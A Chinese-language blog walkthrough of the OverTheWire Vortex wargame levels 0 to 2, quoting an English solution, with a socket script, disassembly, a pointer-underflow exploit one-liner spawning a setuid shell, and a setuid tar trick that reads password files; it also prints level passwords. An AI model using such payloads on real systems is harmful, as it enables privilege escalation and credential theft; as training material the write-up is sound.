Level 0 → Level 1
原题看这里:!@#¥%……&*
大概意思是让你链接vortex.labs.overthewire.org的5842端口,会给你4个 unsigned integers,计算出他们的结果,输入,然后会返回给你一个用户名和密码,这个用户名和密码可以用来ssh登陆到vortex.labs.overthewire.org。
import struct
import socket
def unpk(x):
return struct.unpack('<I', x)
def pk(x):
return struct.pack('<I', x)
host = 'vortex.labs.overthewire.org'
port = 5842
hr = socket.socket()
hr.connect((host, port))
sum = 0
for i in range(4):
sum += unpk(hr.recv(4))[0]
hr.send(str(pk(sum)))
print hr.recv(1024)
hr.close()
结果是:
>>>
Username: vortex1 Password: Gq#qu3bF3
>>>
大端与小端:
大端:数为\x12\x34\x56,内存中表示为:add \x12 add+1 \34 add+2 \56
小端相反。
Python查看命令:
>>> import sys
>>> sys.byteorder
more 题解:
http://0xbadc0de.org/blog/2013/10/28/vortex-1-solution/
Level 1 → Level 2
用上题得到的用户名和密码,用ssh连入,然后,看别人写的报告吧,写得很详细,
This challenge requires you to analyze the code and environment of the vortex1 executable for vulnerabilities. Our first step will be to login to the Vortex game server with the credentials obtained in the Vortex 0 solution
ssh vortex1@vortex.labs.overthewire.org
Once logged in, we will examine the execution environment:
$ ls -la /etc/vortex_pass/vortex2
-r-------- 1 vortex2 vortex2 10 Jun 6 14:01 /etc/vortex_pass/vortex2
$ ls -la /games/vortex/vortex1
-r-sr-x--- 1 vortex2 vortex1 7426 Jun 6 14:01 /games/vortex/vortex1
Here we can see that the vortex2 password file is only readable by the vortex2 user. It its 10 bytes long and thus not easily brute-forced. What is very interesting however, is that the vortex1 executable is owned by the vortex2 user and has the setuid bit set. The setuid bit on the file owner means that the vortex1 executable will actually run as the vortex2 user even if we are logged in as vortex1. If we can find a way to get the vortex1 executable to execute arbitrary commands, perhaps we can read the password file. Let’s take a look at the code for vortex1.
We are given the hint that we are looking for a specific value in ptr. Indeed, if we examine the e() definition, we can see that if the high byte of ptr contains 0xca, then an extra set of instructions are executed. These instructions first set the user-id of vortex1 to the effective user-id of the process (which in this case is vortex2), then executes a shell (/bin/sh). This is exactly where we want to end up because once we have a shell running as vortex2, we will be able to read its password.
So what does the rest of the program do, and how do we get there? Starting inside main() we have 3 variables:
Next, we have the user-input loop – a while loop reading single characters into x until EOF is detected. Inside this loop, a switch statement gives three possible scenarios:
Note that nowhere in this program does it validate a lower limit of ptr, only an upper. Let’s examine the assembly dump of vortex1 to develop a strategy.
$ objdump -d --no-show-raw-insn /games/vortex/vortex1
push %ebp
mov %esp,%ebp
push %esi
push %ebx
and $0xfffffff0,%esp
sub $0x220,%esp
mov %gs:0x14,%eax
mov %eax,0x21c(%esp)
xor %eax,%eax
lea 0x1c(%esp),%eax # Addr of buf
add $0x100,%eax
mov %eax,0x14(%esp) # Addr of ptr
jmp 8048643 <main+0xcc>
mov 0x18(%esp),%eax # Addr of x
cmp $0xa,%eax
je 80485b6 <main+0x3f>
cmp $0x5c,%eax
je 80485cc <main+0x55>
jmp 80485d3 <main+0x5c>
movl $0x200,0x4(%esp)
lea 0x1c(%esp),%eax
mov %eax,(%esp)
call 8048524 <print>
jmp 8048643 <main+0xcc>
subl $0x1,0x14(%esp)
jmp 8048643 <main+0xcc>
mov 0x14(%esp),%eax
and $0xff000000,%eax
cmp $0xca000000,%eax
jne 8048622 <main+0xab>
call 8048430 <geteuid@plt>
mov %eax,%esi
call 8048430 <geteuid@plt>
mov %eax,%ebx
call 8048430 <geteuid@plt>
mov %esi,0x8(%esp)
mov %ebx,0x4(%esp)
mov %eax,(%esp)
call 80483e0 <setresuid@plt>
movl $0x0,0x8(%esp)
movl $0x804876a,0x4(%esp)
movl $0x804876d,(%esp)
call 8048420 <execlp@plt>
lea 0x1c(%esp),%eax
add $0x200,%eax
cmp %eax,0x14(%esp)
ja 8048642 <main+0xcb>
mov 0x18(%esp),%eax
mov %eax,%edx
mov 0x14(%esp),%eax
mov %dl,(%eax)
addl $0x1,0x14(%esp)
nop
call 8048400 <getchar@plt>
mov %eax,0x18(%esp)
cmpl $0xffffffff,0x18(%esp)
jne 80485a6 <main+0x2f>
movl $0x8048775,(%esp)
call 8048440 <puts@plt>
mov $0x0,%eax
mov 0x21c(%esp),%edx
xor %gs:0x14,%edx
je 804867d <main+0x106>
call 8048410 <__stack_chk_fail@plt>
lea -0x8(%ebp),%esp
pop %ebx
pop %esi
pop %ebp
ret
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
From the assembly listing, we can see that main() has a 544 byte stack – on 32 bit x86, this is calculated as:
(unsigned char buf[512]) + (unsigned char *ptr) + (unsigned int) = Size
( 512 + 16 + 16 ) = 544
By examining the assembly listing, we realize that the variables are stored in a different order from how they appear in the source listing. Specifically, in memory they are ordered: ptr, x, buf, rather than the buf, ptr, x we would expect. This seems to be a manual tweak specifically intended to illustrate this type of vulnerability. Compiling vortex1.c on gcc-4.8.x and gcc-4.6.x both resulted in ptr appearing after buf in memory.
Since ptr is at a lower address than buf, we can simply fire ‘\’ characters at the program until ptr points to itself, write a 0xca character, get our vortex2 shell and call it a day. Let’s calculate how many ‘\’ characters we’ll need:
Given:
ptr = buf + 256
+-----------+-----------+-------------------------------+
| ptr | x | buf |
| 4 bytes | 4 bytes | 512 bytes |
+-----------+-----------+-------------------------------+
<-- Low Addr High Addr -->
We want to write 0xca to the high byte (little-endian) of ptr.
n = 256 + 4 + 1
n = 261
It’s rather slow and somewhat tricky to type 261 backslashes followed by the 0xca character, so we’ll use Python to do the heavy lifting for us:
$ python -c 'print "\\"*261+"\xca"*2+"\nwhoami\ncat /etc/vortex_pass/vortex2\n"' | /games/vortex/vortex1
What’s happening here? In a nutshell:
Running the command results in a blank output! This is not what we were expecting. It does not even call the print() function. This is interesting because it suggests that the program has deviated outside its expected control loop. After some investigation, it turns out that /bin/sh takes a little time to fire up and that our python script was sending everything before the vortex2 shell was even listening. Perhaps if we add some padding between the 0xca’s and the whoami, things will work a little better.
$ python -c 'print "\\"*261+"\xca"*2+"0xbadc0de"*450+"\nwhoami\ncat /etc/vortex_pass/vortex2\n"' | /games/vortex/vortex1
sh: 1: e0xbadc0de0xbadc0de0xbadc0de0xbadc0de0xbadc0de0xbadc0de0xbadc0de0xbadc0de
0xbadc0de0xbadc0de0xbadc0de0xbadc0de0xbadc0de0xbadc0de0xbadc0de0xbadc0de0xbadc0de
0xbadc0de0xbadc0de0xbadc0de0xbadc0de0xbadc0de0xbadc0de0xbadc0de: not found
vortex2
XXXXXXXXX
Success!
那个‘\xca’写一个也可以,比如这样:
python -c 'print "\\"*261+"\xca"+"a"*4000+"\nwhoami\ncat /etc/vortex_pass/vortex2\n"' | /games/vortex/vortex1
结果:
sh: 1: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa: not found
vortex2
23anbT\rE
vortex2@melinda:2$ ls -la /games/vortex/vortex2
-r-sr-x--- 1 vortex3 vortex2 7162 Jun 6 14:01 /games/vortex/vortex2
vortex2@melinda:$ ls -la /etc/vortex_pass/vortex3
-r-------- 1 vortex3 vortex3 10 Jun 30 19:16 /etc/vortex_pass/vortex3
So it looks like the vortex2 executable is owned by the vortex3 user and has its setuid bit set on the permissions. We can also see that the vortex3 password file is only visible to the vortex3 user. Lucky for us that setuid bit is set – this means vortex2 will run with the effective permissions of the vortex3 user.
vortex2@melinda:~$ mkdir /tmp/XXXX
vortex2@melinda:~$ cd /tmp/XXXX
vortex2@melinda:/tmp/XXXX$ /games/vortex/vortex2 /etc/vortex_pass/vortex3 /etc/vortex_pass/vortex3 /etc/vortex_pass/vortex3
/bin/tar: Removing leading /' from member names
/' from hard link targets
/bin/tar: Removing leading
/bin/tar: UWVS\350i: Cannot stat: No such file or directory
/bin/tar: Exiting with failure status due to previous errors
vortex2@melinda:/tmp/XXXX$ tar xf '/tmp/ownership.$$.tar'
vortex2@melinda:/tmp/XXXX$ cat ./etc/vortex_pass/vortex3
XXXXXXXXX
The only thing to watch out for is that we enclose the path to our “special” tar file in single quotes, else the $$ will be substituted by the shell for its Process ID.